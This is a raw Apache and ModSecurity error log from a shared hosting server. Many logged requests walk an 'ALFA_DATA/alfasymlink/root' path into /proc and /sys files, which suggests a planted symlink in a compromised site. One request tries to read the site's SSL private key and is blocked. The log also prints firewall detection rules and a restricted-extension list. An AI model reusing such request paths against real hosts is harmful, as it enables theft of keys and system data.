[Mon Oct 26 13:50:49.435955 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 85.208.96.207:14516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/validate
[Mon Oct 26 13:50:51.627725 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 34.225.243.131:35978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:53.843552 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 185.191.171.17:20572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/hwcache_align
[Mon Oct 26 13:51:03.696726 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 35.169.119.108:34152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:51:07.641758 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.45.92.83:3154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:51:11.786803 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.232.36.1:21361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:51:23.697656 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.235.158.19:61501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:51:27.630277 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 54.84.147.79:32764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/remove
[Mon Oct 26 13:51:39.866487 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 107.22.208.39:64847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:51:41.051189 2026] [authz_core:error] [pid 3064918:tid 3064918] [client 71.6.142.213:50800] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:51:43.586090 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.223.232.55:43073] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:51:51.674441 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 3.222.85.38:41409] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/remove_id
[Mon Oct 26 13:52:03.264514 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:55825] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-TNobyDoaPXEcrP3mzPgAAAA4"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:52:03.264565 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:55825] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-TNobyDoaPXEcrP3mzPgAAAA4"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:52:03.826841 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 34.231.118.144:7356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:52:11.641569 2026] [core:error] [pid 3074877:tid 3074877] (13)Permission denied: [client 34.231.156.59:8339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/unbind
[Mon Oct 26 13:52:18.401161 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 185.191.171.14:27056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/free_calls
[Mon Oct 26 13:52:23.582261 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 3.230.69.161:65326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:05.0/resource4
[Mon Oct 26 13:52:43.669082 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.195.248.30:28876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:52:51.620146 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 54.83.56.1:27472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:52:55.756487 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 50.19.221.48:50363] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/cpu0/crash_notes
[Mon Oct 26 13:52:59.646564 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 18.211.148.239:55433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:53:03.849722 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 3.223.134.5:10471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:53:11.622331 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 23.23.213.182:38201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:53:15.794469 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 52.205.113.104:3265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:53:19.710790 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 3.212.205.90:56391] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/battery/uevent
[Mon Oct 26 13:53:23.682552 2026] [ssl:error] [pid 3065806:tid 3065806] (5)Input/output error: [client 3.225.9.97:49049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:53:31.638381 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.84.93.8:33734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:53:34.375988 2026] [security2:error] [pid 3068535:tid 3068535] [client 107.172.76.131:55732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Tkcx-ulTu8vkh2z0t_wAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:53:34.376045 2026] [security2:error] [pid 3068535:tid 3068535] [client 107.172.76.131:55732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Tkcx-ulTu8vkh2z0t_wAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:53:35.255340 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.208:59620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/slab_size
[Mon Oct 26 13:53:45.255220 2026] [security2:error] [pid 3052342:tid 3052342] [client 200.115.212.243:46348] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/525564414246"] [unique_id "at-TqXNsi4cqo2ItOKd_kQAAAAM"], referer: https://parkeranders.com/
[Mon Oct 26 13:53:47.947511 2026] [security2:error] [pid 3064909:tid 3064909] [client 43.157.67.70:45886] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/test_proxies.php"] [unique_id "at-Tq3H-Y6Vcm97dx7AwogAAAAs"]
[Mon Oct 26 13:53:51.659931 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.196.114.170:1250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:54:03.625991 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 100.28.44.58:21944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:54:11.519698 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.205.74.196:29452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:54:15.874403 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 54.147.182.90:21769] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/11/module/uevent
[Mon Oct 26 13:54:35.606170 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 35.171.117.160:19956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:54:47.649767 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.21.175.228:57789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:54:55.673750 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.236.41.241:12503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:54:59.624105 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.220.148.166:6461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:55:03.869007 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.71.216.196:1196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:55:15.950152 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 85.208.96.205:18808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/cpu_slabs
[Mon Oct 26 13:55:19.725671 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 52.203.152.231:6002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:55:23.639147 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.0.105.244:59647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:55:47.782077 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 54.152.163.42:26857] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/thunderbolt/new_id
[Mon Oct 26 13:56:03.761425 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 35.174.141.243:19492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:56:07.876647 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.209.201.119:59243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:56:15.763433 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 52.3.26.180:1939] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/firmware_node/physical_node/crash_notes_size
[Mon Oct 26 13:56:19.733271 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.6.97.88:16791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:56:22.772412 2026] [security2:error] [pid 3052342:tid 3052342] [client 45.176.36.45:33225] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/hoteles4"] [unique_id "at-URnNsi4cqo2ItOKd_mQAAAAM"], referer: https://parkeranders.com/
[Mon Oct 26 13:56:23.659885 2026] [ssl:error] [pid 3074877:tid 3074877] (70014)End of file found: [client 50.17.193.48:44862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:56:59.831242 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 98.82.214.73:38264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:57:02.182434 2026] [security2:error] [pid 3074877:tid 3074877] [client 186.22.13.18:5486] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/test_proxies.php"] [unique_id "at-UbjkZaKhjp4ndQz-pZwAAAAw"], referer: https://parkeranders.com/
[Mon Oct 26 13:57:07.731087 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 98.82.66.172:61977] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:57:14.308495 2026] [security2:error] [pid 3058816:tid 3058816] [client 185.191.171.2:21366] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a9cb4_a3535_6fb44d55f82981f809b8e9a0e9d6da87.key"] [unique_id "at-Ues-doU5lRL_NAI8OjAAAAAE"]
[Mon Oct 26 13:57:14.308890 2026] [security2:error] [pid 3058816:tid 3058816] [client 185.191.171.2:21366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a9cb4_a3535_6fb44d55f82981f809b8e9a0e9d6da87.key"] [unique_id "at-Ues-doU5lRL_NAI8OjAAAAAE"]
[Mon Oct 26 13:57:14.309231 2026] [security2:error] [pid 3058816:tid 3058816] [client 185.191.171.2:21366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a9cb4_a3535_6fb44d55f82981f809b8e9a0e9d6da87.key"] [unique_id "at-Ues-doU5lRL_NAI8OjAAAAAE"]
[Mon Oct 26 13:57:15.703565 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 98.83.8.142:48530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:57:23.878817 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 52.23.112.144:64635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory17/subsystem/drivers_probe
[Mon Oct 26 13:57:39.751736 2026] [ssl:error] [pid 3074877:tid 3074877] (70014)End of file found: [client 3.221.50.71:33399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:57:47.915203 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 44.197.76.210:50391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:57:55.786616 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.217.171.106:48250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:57:59.698295 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.196.237.236:38368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:58:15.912766 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.3.26.180:24672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:58:24.229993 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.45.29.57:17570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:58:25.281279 2026] [security2:error] [pid 3065808:tid 3065808] [client 201.235.161.207:53916] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at-UwdBD9nokEg9_vmbNJgAAAAk"], referer: https://five.co.in/redirect.php?ref_host=veles.academy
[Mon Oct 26 13:58:43.783687 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 18.204.152.114:22234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:58:52.245712 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 52.70.209.13:40719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:58:55.758628 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 98.83.72.38:12218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:03.829579 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.94.157.25:16939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:11.753949 2026] [core:error] [pid 3074892:tid 3074892] (13)Permission denied: [client 52.204.253.129:25773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:1c/eject
[Mon Oct 26 13:59:15.926708 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.210.155.69:13008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:19.796248 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.200.251.20:46534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:22.910218 2026] [security2:error] [pid 3074880:tid 3074880] [client 107.172.76.131:55839] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-U7WeO9JevJRazuu2r3wAAAA8"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:59:22.910274 2026] [security2:error] [pid 3074880:tid 3074880] [client 107.172.76.131:55839] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-U7WeO9JevJRazuu2r3wAAAA8"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:59:27.838162 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 98.84.60.17:65410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/29/module/uevent
[Mon Oct 26 13:59:32.084400 2026] [core:error] [pid 3074877:tid 3074877] (13)Permission denied: [client 34.227.234.246:50928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/virtio2/driver/unbind
[Mon Oct 26 13:59:39.765624 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.1.106.130:48440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:43.964678 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 98.82.107.102:48343] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:45.989172 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.11:23216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/free_calls
[Mon Oct 26 13:59:51.996580 2026] [ssl:error] [pid 3074877:tid 3074877] (70014)End of file found: [client 44.205.74.196:54315] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:59:51.996779 2026] [security2:error] [pid 3074877:tid 3074877] [client 44.205.74.196:54315] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory6/node0/cpu1/driver/cpu0/cache/index2/physical_line_partition"] [unique_id "at-VFzkZaKhjp4ndQz-pbAAAAAw"]
[Mon Oct 26 13:59:51.996806 2026] [security2:error] [pid 3074877:tid 3074877] [client 44.205.74.196:54315] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory6/node0/cpu1/driver/cpu0/cache/index2/physical_line_partition"] [unique_id "at-VFzkZaKhjp4ndQz-pbAAAAAw"]
[Mon Oct 26 13:59:55.766622 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 54.235.158.162:45826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/remove
[Mon Oct 26 13:59:55.767061 2026] [security2:error] [pid 3064918:tid 3064918] [client 54.235.158.162:45826] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/remove"] [unique_id "at-VG7OTOqUhLlGpMrXZTwAAABM"]
[Mon Oct 26 13:59:55.767108 2026] [security2:error] [pid 3064918:tid 3064918] [client 54.235.158.162:45826] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/remove"] [unique_id "at-VG7OTOqUhLlGpMrXZTwAAABM"]
[Mon Oct 26 13:59:59.777051 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 3.221.222.168:14906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:00:27.837803 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 52.71.46.142:34893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/ec/unbind
[Mon Oct 26 14:00:36.011380 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.212.232.231:27994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:00:43.902226 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 44.207.69.106:20720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:00:47.816947 2026] [ssl:error] [pid 3065807:tid 3065807] (22)Invalid argument: [client 44.195.145.102:62082] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:01:00.036554 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 3.215.221.125:12285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/vmd/remove_id
[Mon Oct 26 14:01:00.880338 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 185.191.171.9:39094] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:01:00.913748 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 185.191.171.9:39100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:01:11.938043 2026] [core:error] [pid 3074879:tid 3074879] (13)Permission denied: [client 3.213.46.222:3167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/Cavium PTP Driver/remove_id
[Mon Oct 26 14:01:19.964942 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 34.194.233.48:4774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/ctor
